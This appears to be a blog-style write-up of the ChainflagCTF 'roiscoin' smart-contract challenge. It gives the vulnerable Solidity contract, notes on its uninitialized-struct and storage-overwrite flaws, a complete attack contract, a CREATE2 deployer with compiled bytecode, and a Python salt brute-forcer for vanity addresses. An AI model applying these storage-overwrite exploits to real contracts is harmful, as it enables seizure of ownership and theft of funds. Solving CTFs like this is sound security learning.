14.storage @roiscoin
2023-07-13 16:28:34 # 02.ChainflagCTF

storage(roiscoin)

contract

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
pragma solidity ^0.4.23;

contract FakeOwnerGame {
event SendFlag(address _addr);

uint randomNumber = 0; //0
uint time = now; //1
mapping (address => uint) public BalanceOf;//2
mapping (address => uint) public WinCount;//3
mapping (address => uint) public FailCount;//4
bytes32[] public codex;//5
address private owner;//6
uint256 settlementBlockNumber;//7
address guesser;//8
uint8 guess;//8

struct FailedLog {
uint failtag;
uint failtime;
uint success_count;
address origin;
uint fail_count;
bytes12 hash;
address msgsender;
}
mapping(address => FailedLog[]) FailedLogs;//9

constructor() {
owner = msg.sender;
}

modifier onlyOwner() {
require(msg.sender == owner);
_;
}

function payforflag() onlyOwner {
require(BalanceOf[msg.sender] >= 2000);
emit SendFlag(msg.sender);
selfdestruct(msg.sender);
}

function lockInGuess(uint8 n) public payable {
require(guesser == 0);
require(msg.value == 1 ether);

guesser = msg.sender;
guess = n;
settlementBlockNumber = block.number + 1;
}

function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);

uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 2;

if (guess == answer) {
WinCount[msg.sender] += 1;
BalanceOf[msg.sender] += 1000;
} else {
FailCount[msg.sender] += 1;
}

if (WinCount[msg.sender] == 2) {
if (WinCount[msg.sender] + FailCount[msg.sender] <= 2) {
guesser = 0;
WinCount[msg.sender] = 0;
FailCount[msg.sender] = 0;
msg.sender.transfer(address(this).balance);
} else {
FailedLog failedlog;
failedlog.failtag = 1; //randomNumber
failedlog.failtime = now; //time
failedlog.success_count = WinCount[msg.sender]; //BalanceOf
failedlog.origin = tx.origin; //WinCount
failedlog.fail_count = FailCount[msg.sender]; // FiilCount array's length=1
failedlog.hash = bytes12(sha3(WinCount[msg.sender] + FailCount[msg.sender]));//codex
failedlog.msgsender = msg.sender; //codex
FailedLogs[msg.sender].push(failedlog);
}
}
}

function beOwner() payable {
require(address(this).balance > 0);
if(msg.value > address(this).balance){
owner = msg.sender;
}//cheat: msg.value never greater than address(this).balance
}

function revise(uint idx, bytes32 tmp) {
if(uint(msg.sender) & 0x61 == 0x61 && tx.origin != msg.sender) {
codex[idx] = tmp;
}
}
}

analyses

  • goal
    • be the owner
    • get 2000 points of BalanceOf()
  • vulnerability
    • settle(): Uninitialized struct pointer
    • revise(): CREATE2 and EVM’s storage
  • idea
    1. cal the position of codex’s element. Because we can modify the content of slot by revise()
    2. cal the length we need to overlap the slot 6 ( owner )
    3. modify the length of codex
    4. call the revise() to be the owner
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
pragma solidity 0.6.12;
// pay attention to the compiler's version!
// CREATE2 doesn't in low version, it was added in 0.5.0

interface IFakeOwnerGame{
function revise(uint idx, bytes32 tmp)external;
function lockInGuess(uint8 n) external payable;
function settle() external;
function payforflag()external;
}

contract attack{
IFakeOwnerGame public level;
// 3.set the instance
function step01_setAddr(address _level) public {
level = IFakeOwnerGame(_level);
}
// 4.lock a number: 0, with 1 ether
function step02_setGuess(uint8 _x) public payable{
level.lockInGuess.value(1 ether)(_x);
}
// 5.call this func until BalanceOf equals to 2000 and WinCount equals to 2
function step03_settleUntil2Points()public{
level.settle();
}
// 6.cal the _slot and call it with _value(your address)
// _slot = 0xfc949c7b4a13586e39d89eead2f38644f9fb3efb5a0490b14f8fc0ceab44c256(need)
// _value = 0x000000000000000000000000FFCf0a1D3705222F984f0Df3b220A8C70162e061(be the owner)
function step04_modifyOwnerSlot(uint256 _slot,bytes32 _value)public{
level.revise(_slot,_value);
}
// 7.successfully
function step05_complete()public{
level.payforflag();
}
}
contract deployer{
// 0.pay attention to the compiler's version!
// CREATE2 doesn't in low version, it was added in 0.5.0

// 2.deploy and get a specify contract: prefix:'ff' and suffix:'61'
bytes attackByteCode = hex"608060405234801561001057600080fd5b50610462806100206000396000f3fe6080604052600436106100555760003560e01c806309773e951461005a57806363ab9a14146100ab5780636fd5ae15146100c2578063883b274a14610103578063dd9fbd9014610148578063f2b0f8191461015f575b600080fd5b34801561006657600080fd5b506100a96004803603602081101561007d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610190565b005b3480156100b757600080fd5b506100c06101d3565b005b3480156100ce57600080fd5b506100d7610255565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561010f57600080fd5b506101466004803603604081101561012657600080fd5b810190808035906020019092919080359060200190929190505050610279565b005b34801561015457600080fd5b5061015d610310565b005b61018e6004803603602081101561017557600080fd5b81019080803560ff169060200190929190505050610392565b005b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166380e10aa56040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561023b57600080fd5b505af115801561024f573d6000803e3d6000fd5b50505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630339f30083836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b1580156102f457600080fd5b505af1158015610308573d6000803e3d6000fd5b505050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166311da60b46040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561037857600080fd5b505af115801561038c573d6000803e3d6000fd5b50505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632c0e0054670de0b6b3a7640000836040518363ffffffff1660e01b8152600401808260ff1681526020019150506000604051808303818588803b15801561041057600080fd5b505af1158015610424573d6000803e3d6000fd5b50505050505056fea2646970667358221220109dc61c8e70cdbf2515f6335b5a74d40e28d5f1c8e49489d784b1d0956d28f664736f6c634300060c0033";
function deploy(bytes32 _salt) public returns(address){
bytes memory bytecode = attackByteCode;
address addr;
assembly {
addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)
}
return addr;
}
// 1.get the hash and cal the salt
function getHash()public view returns(bytes32){
return keccak256(attackByteCode);
}
}
contract cal{
// codex's element: keccak256(5)
// result: 0x036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db0
function getDyArr(uint256 x) public pure returns(bytes32){
return keccak256(abi.encode(x));
}

// cal the codex's length that we need to overlap the slot 6(owner)
function lengthNeed() public pure returns(uint256){
uint256 DyArrBegin = uint256(getDyArr(5));
uint256 slot = 6;
uint256 lengthNeed = type(uint256).max - DyArrBegin +slot + 1;
return lengthNeed;
// need= 114245411204874937970903528273105092893277201882823832116766311725579567940182
// need= 0xfc949c7b4a13586e39d89eead2f38644f9fb3efb5a0490b14f8fc0ceab44c256
// so the length we modify should greater than 'need', we can make the length whose prefix is 'ff'
// of course, the suffix must be 61. ====> CREATE2======>so the slot 5(codex) can be this:
// length=115705583536238263701547016040993257322946596763381008814291318654012181268882
// length=0xffcf0a1d3705222f984f0df3b220a8c70162e061a66cc928b5edb82af9bd4992
// (length > need) ===> enough
}
}
  • EVM’s storage

  • CREATE2 get the specify address
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
@staticmethod
def GetSpecialAddressByCreate2_two(DeployAddress: str, BytecodeHash: str, content1: str, content2: str, position1: int, position2: int) -> str:
'''
获得包含特定内容的地址,通过 create2。根据 create2原理写出来的
如果想让地址的某个位置是特定内容的值,
此方法用于获取两个不同位置有特殊内容的地址
不支持负数索引,总共0~40位

参数:
DeployAttackAddress (str): 部署合约地址
BytecodeHash (str): 待部署的合约的 bytecode的 hash 值
content1: 包含的某个特定的值
content1: 包含的某个特定的值
position1:地址的某个位置是特定内容的值
position2:地址的某个位置是特定内容的值

返回值:
str: 第一个是 salt值,第二个是地址
'''
try:
i = 0
start_time = time.time() # 获取当前时间戳

while (1):
current_time = time.time()
elapsed_time = current_time - start_time

if elapsed_time >= 10:
raise Exception("time out,maybe a wrong position")

salt = hex(i)[2:].rjust(64, '0')
s = '0xff' + DeployAddress + salt + BytecodeHash
hashed = Web3.keccak(hexstr=s)
address = ''.join(['%02x' % b for b in hashed])[24:]
if content1 in address[position1:position1 + len(content1)] and content2 in address[position2:position2 + len(content2)]:
logger.success(
f"\n[BlockchainUtils][GetSpecialAddressByCreate2_two]\n[content1] {content1} \n[position1] [{position1}:{position1 + len(content1)}) \n[content2] {content2} \n[position2] [{position2}:{position2 + len(content2)}) \n[salt] 0x{salt} \n[address] 0x{address}\n{'-' * 80}")
return "0x" + salt, "0x" + address
else:
pass
i += 1
except Exception:
ExceptionInformation = format_exc()
logger.error(
f"\n[BlockchainUtils][GetSpecialAddressByCreate2_two] Failed\n[content1] {content1} \n[content2] {content2}\n {ExceptionInformation}{'-' * 80}"
)
return None

# BlockchainUtils.GetSpecialAddressByCreate2_two('xxxxxx','xxxxxxx','ff','61',0,38)

solve